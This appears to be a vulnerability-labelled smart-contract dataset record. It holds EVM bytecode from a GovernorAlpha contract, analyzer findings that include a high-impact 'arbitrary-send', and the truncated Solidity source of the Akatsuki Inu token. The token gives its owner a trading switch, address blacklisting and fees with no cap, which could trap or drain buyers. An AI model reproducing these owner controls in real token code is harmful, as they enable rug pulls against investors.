ffffffffffffff021916905550600101612664565b5090565b90565b6126c391905b808211156126bf5760008160009055506001016126a7565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061270757805160ff1916838001178555612735565b82800160010185558215612735579182015b82811115612734578251825591602001919060010190612719565b5b50905061274291906126a1565b5090565b61276f91905b8082111561276b5760008181612762919061281e565b5060010161274c565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106127b357805160ff19168380011785556127e1565b828001600101855582156127e1579182015b828111156127e05782518255916020019190600101906127c5565b5b5090506127ee91906126a1565b5090565b61281b91905b80821115612817576000818161280e9190612866565b506001016127f8565b5090565b90565b50805460018160011615610100020316600290046000825580601f106128445750612863565b601f01602090049060005260206000209081019061286291906126a1565b5b50565b50805460018160011615610100020316600290046000825580601f1061288c57506128ab565b601f0160209004906000526020600020908101906128aa91906126a1565b5b50565b6000813590506128bd81614976565b92915050565b600082601f8301126128d457600080fd5b81356128e76128e28261459f565b614572565b9150818183526020840193506020810190508385602084028201111561290c57600080fd5b60005b8381101561293c578161292288826128ae565b84526020840193506020830192505060018101905061290f565b5050505092915050565b600082601f83011261295757600080fd5b813561296a612965826145c7565b614572565b9150818183526020840193506020810190508360005b838110156129b057813586016129968882612b05565b845260208401935060208301925050600181019050612980565b5050505092915050565b600082601f8301126129cb57600080fd5b81356129de6129d9826145ef565b614572565b9150818183526020840193506020810190508360005b83811015612a245781358601612a0a8882612bad565b8452602084019350602083019250506001810190506129f4565b5050505092915050565b600082601f830112612a3f57600080fd5b8135612a52612a4d82614617565b614572565b91508181835260208401935060208101905083856020840282011115612a7757600080fd5b60005b83811015612aa75781612a8d8882612c01565b845260208401935060208301925050600181019050612a7a565b5050505092915050565b600081359050612ac08161498d565b92915050565b600081519050612ad58161498d565b92915050565b600081359050612aea816149a4565b92915050565b600081519050612aff816149a4565b92915050565b600082601f830112612b1657600080fd5b8135612b29612b248261463f565b614572565b91508082526020830160208301858383011115612b4557600080fd5b612b5083828461490c565b50505092915050565b600082601f830112612b6a57600080fd5b8151612b7d612b788261463f565b614572565b91508082526020830160208301858383011115612b9957600080fd5b612ba483828461491b565b50505092915050565b600082601f830112612bbe57600080fd5b8135612bd1612bcc8261466b565b614572565b91508082526020830160208301858383011115612bed57600080fd5b612bf883828461490c565b50505092915050565b600081359050612c10816149bb565b92915050565b600081519050612c25816149bb565b92915050565b600081359050612c3a816149d2565b92915050565b600060208284031215612c5257600080fd5b6000612c60848285016128ae565b91505092915050565b60008060008060808587031215612c7f57600080fd5b6000612c8d878288016128ae565b9450506020612c9e878288016128ae565b9350506040612caf87828801612c01565b9250506060612cc087828801612c01565b91505092959194509250565b600080600080600060a08688031215612ce457600080fd5b600086013567ffffffffffffffff811115612cfe57600080fd5b612d0a888289016128c3565b955050602086013567ffffffffffffffff811115612d2757600080fd5b612d3388828901612a2e565b945050604086013567ffffffffffffffff811115612d5057600080fd5b612d5c888289016129ba565b935050606086013567ffffffffffffffff811115612d7957600080fd5b612d8588828901612946565b925050608086013567ffffffffffffffff811115612da257600080fd5b612dae88828901612bad565b9150509295509295909350565b600060208284031215612dcd57600080fd5b6000612ddb84828501612ac6565b91505092915050565b600060208284031215612df657600080fd5b6000612e0484828501612af0565b91505092915050565b600060208284031215612e1f57600080fd5b600082015167ffffffffffffffff811115612e3957600080fd5b612e4584828501612b59565b91505092915050565b600060208284031215612e6057600080fd5b6000612e6e84828501612c01565b91505092915050565b600060208284031215612e8957600080fd5b6000612e9784828501612c16565b91505092915050565b60008060408385031215612eb357600080fd5b6000612ec185828601612c01565b9250506020612ed2858286016128ae565b9150509250929050565b60008060408385031215612eef57600080fd5b6000612efd85828601612c01565b9250506020612f0e85828601612ab1565b9150509250929050565b600080600080600060a08688031215612f3057600080fd5b6000612f3e88828901612c01565b9550506020612f4f88828901612ab1565b9450506040612f6088828901612c2b565b9350506060612f7188828901612adb565b9250506080612f8288828901612adb565b9150509295509295909350565b6000612f9b8383612ff6565b60208301905092915050565b6000612fb383836131fe565b905092915050565b6000612fc7838361332c565b905092915050565b6000612fdb8383613dbf565b60208301905092915050565b612ff08161487c565b82525050565b612fff8161480a565b82525050565b61300e8161480a565b82525050565b600061301f82614701565b6130298185614777565b935061303483614697565b8060005b8381101561306557815161304c8882612f8f565b975061305783614743565b925050600181019050613038565b5085935050505092915050565b600061307d8261470c565b6130878185614788565b935083602082028501613099856146a7565b8060005b858110156130d557848403895281516130b68582612fa7565b94506130c183614750565b925060208a0199505060018101905061309d565b50829750879550505050505092915050565b60006130f282614717565b6130fc8185614799565b93508360208202850161310e856146b7565b8060005b8581101561314a578484038952815161312b8582612fbb565b94506131368361475d565b925060208a01995050600181019050613112565b50829750879550505050505092915050565b600061316782614722565b61317181856147aa565b935061317c836146c7565b8060005b838110156131ad5781516131948882612fcf565b975061319f8361476a565b925050600181019050613180565b5085935050505092915050565b6131c38161481c565b82525050565b6131d28161481c565b82525050565b6131e181614828565b82525050565b6131f86131f382614828565b61494e565b82525050565b60006132098261472d565b61321381856147bb565b935061322381856020860161491b565b61322c81614958565b840191505092915050565b60006132428261472d565b61324c81856147cc565b935061325c81856020860161491b565b61326581614958565b840191505092915050565b60008154600181166000811461328d57600181146132b3576132f7565b607f600283041661329e81876147cc565b955060ff1983168652602086019350506132f7565b600282046132c181876147cc565b95506132cc856146d7565b60005b828110156132ee578154818901526001820191506020810190506132cf565b80880195505050505b505092915050565b6133088161488e565b82525050565b613317816148b2565b82525050565b613326816148d6565b82525050565b600061333782614738565b61334181856147dd565b935061335181856020860161491b565b61335a81614958565b840191505092915050565b600061337082614738565b61337a81856147ee565b935061338a81856020860161491b565b61339381614958565b840191505092915050565b6000815460018116600081146133bb57600181146133e157613425565b607f60028304166133cc81876147ee565b955060ff198316865260208601935050613425565b600282046133ef81876147ee565b95506133fa856146ec565b60005b8281101561341c578154818901526001820191506020810190506133fd565b80880195505050505b505092915050565b600061343a6044836147ee565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006134c66045836147ee565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006135526002836147ff565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006135926029836147ee565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b60006135f8602d836147ee565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b600061365e6013836147ee565b91507f496e76616c6964204e46542061646472657373000000000000000000000000006000830152602082019050919050565b600061369e6059836147ee565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b600061372a6028836147ee565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b60006137906011836147ee565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b60006137d06043836147ff565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b600061385c6027836147ff565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b60006138c26044836147ee565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b600061394e602f836147ee565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b60006139b46044836147ee565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613a40602c836147ee565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b6000613aa6603f836147ee565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b6000613b0c602f836147ee565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b6000613b726013836147ee565b91507f416c726561647920696e697469616c697a6564000000000000000000000000006000830152602082019050919050565b6000613bb26058836147ee565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b6000613c3e6036836147ee565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000613ca4602a836147ee565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b6000613d0a6015836147ee565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b6000613d4a6017836147ee565b91507f566f74696e6720706572696f642063616e7420626520300000000000000000006000830152602082019050919050565b606082016000820151613d9360008501826131ba565b506020820151613da660208501826131ba565b506040820151613db96040850182613dbf565b50505050565b613dc881614865565b82525050565b613dd781614865565b82525050565b613de68161486f565b82525050565b6000613df782613545565b9150613e0382856131e7565b602082019150613e1382846131e7565b6020820191508190509392505050565b6000613e2e826137c3565b9150819050919050565b6000613e438261384f565b9150819050919050565b6000604082019050613e626000830185612fe7565b613e6f6020830184613dce565b9392505050565b6000604082019050613e8b6000830185613005565b613e986020830184613dce565b9392505050565b6000608082019050613eb46000830187613005565b613ec16020830186613dce565b613ece60408301856131c9565b613edb6060830184613dce565b95945050505050565b600060a082019050613ef96000830188613005565b613f066020830187613dce565b8181036040830152613f188186613365565b90508181036060830152613f2c8185613237565b9050613f3b6080830184613dce565b9695505050505050565b600060a082019050613f5a6000830188613005565b613f676020830187613dce565b8181036040830152613f79818661339e565b90508181036060830152613f8d8185613270565b9050613f9c6080830184613dce565b9695505050505050565b60006080820190508181036000830152613fc08187613014565b90508181036020830152613fd4818661315c565b90508181036040830152613fe881856130e7565b90508181036060830152613ffc8184613072565b905095945050505050565b600060208201905061401c60008301846131d8565b92915050565b600060808201905061403760008301876131d8565b61404460208301866131d8565b6140516040830185613dce565b61405e6060830184613005565b95945050505050565b600060608201905061407c60008301866131d8565b6140896020830185613dce565b61409660408301846131c9565b949350505050565b60006080820190506140b360008301876131d8565b6140c06020830186613ddd565b6140cd60408301856131d8565b6140da60608301846131d8565b95945050505050565b60006020820190506140f860008301846132ff565b92915050565b6000602082019050614113600083018461330e565b92915050565b600060208201905061412e600083018461331d565b92915050565b6000602082019050818103600083015261414e8184613365565b905092915050565b6000602082019050818103600083015261416f8161342d565b9050919050565b6000602082019050818103600083015261418f816134b9565b9050919050565b600060208201905081810360008301526141af81613585565b9050919050565b600060208201905081810360008301526141cf816135eb565b9050919050565b600060208201905081810360008301526141ef81613651565b9050919050565b6000602082019050818103600083015261420f81613691565b9050919050565b6000602082019050818103600083015261422f8161371d565b9050919050565b6000602082019050818103600083015261424f81613783565b9050919050565b6000602082019050818103600083015261426f816138b5565b9050919050565b6000602082019050818103600083015261428f81613941565b9050919050565b600060208201905081810360008301526142af816139a7565b9050919050565b600060208201905081810360008301526142cf81613a33565b9050919050565b600060208201905081810360008301526142ef81613a99565b9050919050565b6000602082019050818103600083015261430f81613aff565b9050919050565b6000602082019050818103600083015261432f81613b65565b9050919050565b6000602082019050818103600083015261434f81613ba5565b9050919050565b6000602082019050818103600083015261436f81613c31565b9050919050565b6000602082019050818103600083015261438f81613c97565b9050919050565b600060208201905081810360008301526143af81613cfd565b9050919050565b600060208201905081810360008301526143cf81613d3d565b9050919050565b60006060820190506143eb6000830184613d7d565b92915050565b60006020820190506144066000830184613dce565b92915050565b600061012082019050614422600083018c613dce565b61442f602083018b612fe7565b8181036040830152614441818a613014565b90508181036060830152614455818961315c565b9050818103608083015261446981886130e7565b905081810360a083015261447d8187613072565b905061448c60c0830186613dce565b61449960e0830185613dce565b8181036101008301526144ac8184613365565b90509a9950505050505050505050565b6000610120820190506144d2600083018c613dce565b6144df602083018b613005565b6144ec604083018a613dce565b6144f96060830189613dce565b6145066080830188613dce565b61451360a0830187613dce565b61452060c0830186613dce565b61452d60e08301856131c9565b61453b6101008301846131c9565b9a9950505050505050505050565b600060408201905061455e6000830185613dce565b61456b6020830184613dce565b9392505050565b6000604051905081810181811067ffffffffffffffff8211171561459557600080fd5b8060405250919050565b600067ffffffffffffffff8211156145b657600080fd5b602082029050602081019050919050565b600067ffffffffffffffff8211156145de57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561460657600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561462e57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561465657600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561468257600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061481582614845565b9050919050565b60008115159050919050565b6000819050919050565b600081905061484082614969565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000614887826148e8565b9050919050565b6000614899826148a0565b9050919050565b60006148ab82614845565b9050919050565b60006148bd826148c4565b9050919050565b60006148cf82614845565b9050919050565b60006148e182614832565b9050919050565b60006148f3826148fa565b9050919050565b600061490582614845565b9050919050565b82818337600083830152505050565b60005b8381101561493957808201518184015260208101905061491e565b83811115614948576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b6008811061497357fe5b50565b61497f8161480a565b811461498a57600080fd5b50565b6149968161481c565b81146149a157600080fd5b50565b6149ad81614828565b81146149b857600080fd5b50565b6149c481614865565b81146149cf57600080fd5b50565b6149db8161486f565b81146149e657600080fd5b5056fea26469706673582212203f5fc6e3c3875848f034f207c86006b1d8f81d68b57933b1f7e07bffe4bfb95f64736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,319 |
0xe7a967bc8e1c2c2d3eceac624c555e2636ccf645
|
/*
Telegram: t.me/AkatsukiInu
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠴⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠠⠶⠶⠶⠶⢶⣶⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣶⣶⣶⣶⣶⣶⣦⣬⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀
⠀⠀⠀⠀⣸⣿⡿⠟⠛⠛⠋⠉⠉⠉⠁⠀⠀⠀⠈⠉⠉⠉⠙⠛⠛⠿⣿⣿⡄⠀
⠀⠀⠀⠀⣿⠋⠀⠀⠀⠐⢶⣶⣶⠆⠀⠀⠀⠀⠀⢶⣶⣶⠖⠂⠀⠀⠈⢻⡇⠀
⠀⠀⠀⠀⢹⣦⡀⠀⠀⠀⠀⠉⢁⣠⣤⣶⣶⣶⣤⣄⣀⠀⠀⠀⠀⠀⣀⣾⠃⠀
⠀⠀⠀⠀⠘⣿⣿⣿⣶⣶⣶⣾⣿⣿⣿⡿⠿⠿⣿⣿⣿⣿⣷⣶⣾⣿⣿⡿⠀⠀
⠀⠀⢀⣴⡀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀
⠀⠀⣾⡿⢃⡀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀
⠀⢸⠏⠀⣿⡇⠀⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠋⠁⠀⠀⠀⠀
⠀⠀⠀⢰⣿⠃⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⣉⣁⣤⡶⠁⠀⠀⠀⠀⠀
⠀⠀⣠⠟⠁⠀⠀⠀⠀⠀⠈⠛⠿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AkatsukiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Akatsuki Inu";
string private constant _symbol = "AKATSUKI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 4;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0x4bF2d61B0c4F8aa9eB9354f2bE3b54ADf7049D02);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 2000000000000 * 10**9; //1
uint256 public _maxWalletSize = 4000000000000 * 10**9; //2
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
